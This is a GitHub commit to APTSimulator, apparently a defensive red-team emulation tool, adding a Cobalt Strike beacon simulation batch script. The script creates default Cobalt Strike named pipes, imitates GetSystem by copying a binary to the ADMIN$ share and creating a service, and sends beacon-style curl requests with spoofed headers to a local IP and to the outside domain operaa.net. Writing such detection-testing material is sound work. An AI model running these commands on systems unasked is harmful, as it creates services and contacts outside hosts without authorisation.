Skip to content

Commit 4a98166

Browse files
Neo23x0Neo23x0
committed
feat: Cobalt Strike simulation - first version
1 parent 30cbecc commit 4a98166

File tree

5 files changed

+103
-1
lines changed

5 files changed

+103
-1
lines changed

‎APTSimulator.bat

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -78,6 +78,11 @@ IF %M%==s GOTO SETMAXSECONDS
7878
IF %M%==S GOTO SETMAXSECONDS
7979
GOTO SETTINGS
8080

81+
:COBALTSTRIKE
82+
call ".\test-sets\cobaltstrike\cobaltstrike-simulation.bat"
83+
PAUSE
84+
GOTO MENU
85+
8186
:SETMAXSECONDS
8287
SET /P M=Set the maximum seconds to wait:
8388
SET SECONDMAX=%M%
@@ -107,6 +112,8 @@ ECHO [7] Lateral Movement
107112
ECHO [8] Persistence
108113
ECHO [9] Privilege Escalation
109114
ECHO.
115+
ECHO [C] CobaltStrike Beacon Simulation
116+
ECHO.
110117
ECHO [A] Apply AV Exclusions in Registry
111118
ECHO [S] Settings
112119
ECHO [E] Exit
@@ -123,6 +130,8 @@ IF %M%==6 SET list="execution"
123130
IF %M%==7 SET list="lateral-movement"
124131
IF %M%==8 SET list="persistence"
125132
IF %M%==9 SET list="privilege-escalation"
133+
IF %M%==C GOTO COBALTSTRIKE
134+
IF %M%==c GOTO COBALTSTRIKE
126135
IF %M%==s GOTO SETTINGS
127136
IF %M%==S GOTO SETTINGS
128137
IF %M%==a GOTO AVEXCLUDER

‎build_pack.bat

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,10 @@ SET ZIP=.\helpers\7z.exe
66
SET PASS=aptsimulator
77
SET ARCHPASS=apt
88

9+
:: Preperations
910
MKDIR %BUILD%
11+
:: Remove old package
12+
del /q ./dist/APTSimulator_pw_apt.zip
1013

1114
:: Script
1215
copy APTSimulator.bat %BUILD%

‎test-sets/cobaltstrike/cobaltstrike-simulation.bat

Lines changed: 90 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,90 @@
1+
@ECHO OFF
2+
3+
ECHO ===========================================================================
4+
ECHO Simulate CobaltStrike Beacon Activity
5+
ping -n 3 127.0.0.1 > NUL
6+
7+
"%ZIP%" e -p%PASS% "%TOOLARCH%" -aoa -o"%APTDIR%" toolset\CreateNamedPipe.exe > NUL
8+
9+
ECHO.
10+
ECHO --- Create some default Named Pipes ...
11+
ping -n 2 127.0.0.1 > NUL
12+
13+
ECHO Creating Named Pipe number 1: MSSE-1337-server
14+
start "" "%APTDIR%\CreateNamedPipe.exe" MSSE-1337-server
15+
timeout /t 5
16+
ECHO Killing named pipe creator for pipe 1
17+
taskkill /IM CreateNamedPipe.exe /F
18+
19+
ECHO Creating Named Pipe number 2 (P2P communication): msagent_fedac123
20+
start "" "%APTDIR%\CreateNamedPipe.exe" msagent_fedac123
21+
timeout /t 5
22+
ECHO Killing named pipe creator for pipe 2
23+
taskkill /IM CreateNamedPipe.exe /F
24+
25+
ECHO Creating Named Pipe number 3 (Post Exploitation): postex_ssh_fedac123
26+
start "" "%APTDIR%\CreateNamedPipe.exe" postex_ssh_fedac123
27+
timeout /t 5
28+
ECHO Killing named pipe creator for pipe 3
29+
taskkill /IM CreateNamedPipe.exe /F
30+
31+
ECHO Creating Named Pipe number 3 (Post Exploitation): postex_ssh_fedac123
32+
start "" "%APTDIR%\CreateNamedPipe.exe" postex_ssh_fedac123
33+
timeout /t 5
34+
ECHO Killing named pipe creator for pipe 3
35+
taskkill /IM CreateNamedPipe.exe /F
36+
37+
ECHO.
38+
ECHO --- Simulating GetSystem ...
39+
ping -n 2 127.0.0.1 > NUL
40+
start "" "%APTDIR%\CreateNamedPipe.exe" 334485
41+
timeout /t 2
42+
ECHO Copy a service binary file to a suspicious location ...
43+
ECHO Using Post-CobaltStrike 4.2 scheme
44+
copy "%APTDIR%\CreateNamedPipe.exe" \\%COMPUTERNAME%\ADMIN$\b6a1458f396.exe
45+
ECHO Starting suspicious service
46+
sc create tbbd05 binpath= "%%COMSPEC%% echo /c b6a1458f396 > \\.\pipe\334485" DisplayName= "tbbd05" start= demand
47+
sc start tbbd05
48+
sc stop tbbd05
49+
sc delete tbbd05
50+
timeout /t 2
51+
ECHO Killing named pipe creator
52+
taskkill /IM CreateNamedPipe.exe /F
53+
54+
:BEACONING
55+
ECHO.
56+
ECHO --- HTTP Beaconing 1
57+
ECHO Simulating HTTP beaconing - this step takes up to an hour to complete
58+
ECHO.
59+
ECHO Beacon 1 - HTTP 30s+50% Jitter http://10.0.2.15/pixel.gif
60+
ping -n 2 127.0.0.1 > NUL
61+
for /l %%x in (1, 1, 20) do (
62+
:: CURL requests
63+
ECHO Sending HTTP request ...
64+
"%CURL%" -s -o /dev/null -I ^
65+
-H "Accept: */*" ^
66+
-H "Cookie: cdoWQelsAYyUlsEMuvbfEAfSxSWtkRwhm5OPfZ6K+400BQBsFlxwSSvsZ2IokquiUDKEPTip7MHL5VkYirf74WkZkc29LeJIt38HQA8E79bc2x9wMgnCz7U5mWXTMZLCQPdoc0VNqbpd2ytuxKRm9upFlCgB41h3hu1GrfDt0Q0=" ^
67+
-A "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;ENUS)" ^
68+
-H "Connection: Keep-Alive" ^
69+
-H "Cache-Control: no-cache" ^
70+
http://10.0.2.15/pixel.gif
71+
SET /A RAND=!RANDOM!%%15+30
72+
timeout /t !RAND!
73+
)
74+
75+
ECHO Beacon 2 - HTTPS 60s+30% Jitter https://operaa.net:443/jquery-3.2.2.min.js
76+
ping -n 2 127.0.0.1 > NUL
77+
for /l %%x in (1, 1, 20) do (
78+
:: CURL requests
79+
ECHO Sending HTTP request ...
80+
"%CURL%" -s -o /dev/null -I ^
81+
-H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" ^
82+
-H "Cache-Control: no-cache" ^
83+
-H "Connection: Keep-Alive" ^
84+
-H "Cookie: __cfduid=gjlAuOSb_vHdOfQwz0K2WU4g6D-a0pERCS6QV0Gur6nvsxFX0hRL7RxeK61hsQgk1uGySuIQxIDU364bLV9YRYQZxgxtkoYBqk2CBlJlqc_gSIm5fxgkUBdLttW19M0Pn7szdQMCLKKbUzAB9QRyG5W0OrUDroCUECuOf3HgwMU" ^
85+
-H "Referer: http://code.jquery.com/" ^
86+
-A "Mozilla/5.0 (Windows NT 5.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2832.7 Safari/537.36" ^
87+
https://operaa.net:443/jquery-3.2.2.min.js
88+
SET /A RAND=!RANDOM!%%20+50
89+
timeout /t !RAND!
90+
)

‎toolset/CreateNamedPipe.exe

2.29 MB
Binary file not shown.

‎welcome.txt

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -4,4 +4,4 @@
44
/ ___ |/ ____/ / / ___/ / / / / / / / /_/ / / /_/ / /_/ /_/ / /
55
/_/ |_/_/ /_/ /____/_/_/ /_/ /_/\__,_/_/\__,_/\__/\____/_/
66

7-
Florian Roth, Nextron Systems, v0.8.0
7+
Florian Roth, Nextron Systems, v0.9.0, June 2021

0 commit comments

Comments
 (0)